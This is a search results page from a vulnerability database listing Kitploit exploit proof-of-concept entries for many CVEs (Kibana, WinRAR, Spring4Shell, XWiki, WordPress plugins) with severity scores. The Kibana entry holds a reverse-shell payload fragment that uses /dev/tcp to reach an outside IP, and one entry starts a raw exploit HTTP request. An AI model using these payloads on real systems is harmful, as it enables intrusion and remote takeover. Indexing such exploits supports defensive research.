Lucene search
+L

520584 matches found

Kitploit
Kitploit
added 2026/09/11 6:48 a.m.5 views

bmc_bladelogic

BMC Bladelogic RSCD remote exploits for Linux and Windows Change passwords, List users and Remote code execution Exploiting vulnerabilities in BMC BladeLogic RSCD agent CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 Published on exploit-db BMCrexec.py...

7.5CVSS6.8AI score0.74618EPSS
SaveExploits14References2
Kitploit
Kitploit
added 2026/09/11 6:47 a.m.6 views

CVE-2024-32462

CVE-2024-32462 CVE-2024-32462 code exec sbx escape How the directory should look to compile this root@kitploit: ├── org.exploit.SandboxEscape.yaml ├── exploit.py └── app/ └── exploit.desktop How to run & build 1.Install Flatpak SDK if needed: root@kitploit: flatpak install flathub...

8.4CVSS7.8AI score0.00512EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/11 6:47 a.m.4 views

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template Nuclei template and information about the POC for CVE-2024-25600 Description 📝 The Bricks theme for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.9.6. This makes it possible for unauthenticated attackers to execute code on t...

10CVSS8.4AI score0.88234EPSS
SaveExploits19References1
Kitploit
Kitploit
added 2026/09/11 6:46 a.m.3 views

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to get a shell...

10CVSS7.5AI score0.95338EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/11 6:46 a.m.5 views

HoneypotBuster

Microsoft PowerShell module designed for red teams that can be used to find honeypots and honeytokens in the network or at the host. CodeExecution Execute code on a target machine using Import-Module. Invoke-HoneypotBuster HoneypotBuster is a tool designed to spot Honey Tokens, Honey Bread Crumbs...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/11 6:44 a.m.5 views

PrestaShop-CVE-2018-19126

PrestaShop Back Office Remote Code Execution CVE-2018-19126 This is the PoC for CVE-2018-19126, chaining multiple vulnerabilities in PrestaShop Back Office to trigger deserialization via phar to achieve remote code execution. Prerequisite: PrestaShop 1.6.x before 1.6.1.23 or 1.7.x before 1.7.4.4...

9.8CVSS8.2AI score0.22535EPSS
SaveExploits5
Kitploit
Kitploit
added 2026/09/11 6:44 a.m.7 views

CVE-2017-8641_chakra_Js_GlobalObject

Description described more from site CVE !!Yes Microsoft browsers in Microsoft Windows 7 SP1, Windows Server 2008 R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allow an attacker to execute arbitrary code in the conte...

7.6CVSS7.5AI score0.71609EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/11 6:43 a.m.7 views

vulnerable-next-js-poc

CVE-2025-55182 React2Shell - Proof of Concept ⚠️ SECURITY RESEARCH ONLY This repository contains a proof of concept for CVE-2025-55182 , a critical remote code execution vulnerability in React Server Components. This is for authorized security testing and research purposes only. Vulnerability...

10CVSS7.8AI score0.99802EPSS
SaveExploits390
Kitploit
Kitploit
added 2026/09/11 6:43 a.m.5 views

CVE-2019-5624

CVE-2019-5624 A proof of concept for Metasploit's CVE-2019-5624 vulnerability Rubyzip insecure ZIP handling RCE Intro In February 2019 I found a new vulnerability in the Rubyzip library. It allows an attacker to exploit insecure ZIP handling Zip Slip resulting in remote command execution. This...

7.4CVSS7.5AI score0.02758EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/11 6:42 a.m.5 views

CVE-2025-24893

CVE-2025-24893 XWiki Unauthenticated Remote code execution POC Vulnerability Description XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the...

9.8CVSS8AI score0.99864EPSS
SaveExploits52
Kitploit
Kitploit
added 2026/09/11 6:42 a.m.4 views

CVE-2023-38831

CVE-2023-38831 WinRAR RARLabs WinRAR before 6.23 allows attackers to execute arbitrary code when a user attempts to view a benign file within a ZIP archive. The issue occurs because a ZIP archive may include a benign file such as an ordinary .JPG file and also a folder that has the same name as t...

7.8CVSS7AI score0.97894EPSS
SaveExploits49
Kitploit
Kitploit
added 2026/09/11 6:42 a.m.4 views

oracle-weblogic-CVE-2021-2109

oracle-weblogic-CVE-2021-2109 Oracle Weblogic RCE - CVE-2022-2109...

7.2CVSS7.5AI score0.70447EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/09/11 6:40 a.m.10 views

CVE-2021-23758-POC

CVE-2021-23758-POC this repo has been created for training on the vulnerability in the ajaxpro. disclosed with the ID number CVE-2021-23758. POC root@kitploit: POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not A;Brand";v="99",...

9.8CVSS8.4AI score0.83633EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/11 6:38 a.m.4 views

DIR-890L-1.20-RCE

D-Link DIR-890L RCE Affected Version: = v1.22B01 Hotfix latest Firmware: Here This model has reached the end of its life-cycle. The resources associated with these products have ceased their development and are no longer supported. D-Link Systems, Inc. recommends retiring these products and...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/11 6:37 a.m.78 views

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

5.4AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/11 6:36 a.m.7 views

CVE-2021-41805

CVE-2021-41805 Hashicorp Consul RCE via API HashiCorp Consul Enterprise before 1.8.17, 1.9.x before 1.9.11, and 1.10.x before 1.10.4 has Incorrect Access Control. An ACL token with the default operator:write permissions in one namespace can be used for unintended privilege escalation in a differe...

8.8CVSS7.8AI score0.3479EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/11 6:35 a.m.9 views

-CVE-2018-0834-aab-aar

Shoutout to @reubensammut, u a beast G. CVE-2018-0834 full code execute. include static offsets, bypasses cfg,dep,aslr : enjoy...

9.3CVSS7.2AI score0.54927EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/11 6:35 a.m.5 views

MASS-CVE-2024-27956

MASS-CVE-2024-27956-RCE A PoC for CVE-2024-27956, a SQL Injection in ValvePress Automatic plugin. This PoC exploit the vulnerability creating a user in the target and giving Administrator rights. Being an administrator in wordpress can lead to Remote Code Execution. Usage root@kitploit: git clone...

9.9CVSS8.6AI score0.93971EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/11 6:30 a.m.5 views

Follina-CVE-and-CVE-2021-40444

Exploiting Follina CVE and CVE-2021-40444 Vulnerabilities Table of Contents 1. Introduction 2. Prerequisites 3. Setup and Installation 4. Usage 5. Detailed Explanation 6. Commands 7. Disclaimer Introduction This repository contains scripts and resources for exploiting the Follina CVE and...

8.8CVSS7.1AI score0.9745EPSS
SaveExploits38
Kitploit
Kitploit
added 2026/09/11 6:29 a.m.7 views

CVE-2022-22963

CVE-2022-22963 Remote Code Execution exploiting CVE-2022-22963 attacking Spring Cloud service. Disclamier: This is for educational purposes only. The author is not responsible for the use of this program. Use under your own risk Usage root@kitploit: ./CVE-2022-22963 -h Usage: CVE-2022-22963 OPTIO...

9.8CVSS7.6AI score0.99938EPSS
SaveExploits37
Rows per page
Query Builder